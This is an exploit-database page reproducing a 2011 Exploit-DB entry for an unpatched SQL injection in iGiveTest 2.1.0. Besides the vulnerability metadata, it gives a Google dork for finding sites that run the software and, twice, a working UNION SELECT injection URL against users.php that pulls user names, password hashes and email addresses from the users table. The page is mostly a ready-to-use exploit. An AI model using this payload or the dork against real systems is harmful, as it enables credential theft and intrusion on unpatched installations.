header-logo
Suggest Exploit
vendor:
iGiveTest
by:
Brendan Coles
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: iGiveTest
Affected Version From: 2.1.2000
Affected Version To: 2.1.2000
Patch Exists: NO
Related CWE: N/A
CPE: a:sight2k:igivetest:2.1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2011

iGiveTest 2.1.0 SQL Injection Vulnerability

Guest level privilages, or higher, are required. http://localhost/[PATH]/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1=1

Mitigation:

The vendor has not released a patch for this vulnerability.
Source

Exploit-DB raw data:

iGiveTest 2.1.0 SQL Injection Vulnerability

# Date: 2011-06-22
# Author: Brendan Coles <bcoles@gmail.com>
# Advisory: http://itsecuritysolutions.org/2011-06-22-iGiveTest-2.1.0-SQL-Injection-Vulnerability/

# Software: iGiveTest
# Version: <= 2.1.0
# Homepage: http://iGiveTest.com/
# Google Dork: "Powered by iGiveTest"

# Vendor: Sight2k
# Homepage: http://sight2k.com/
# Notified: 2011-03-22 (currently unpatched)

# Exploit:

Guest level privilages, or higher, are required.

http://localhost/[PATH]/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1

Navigation

Suggest Exploit

Services By CQR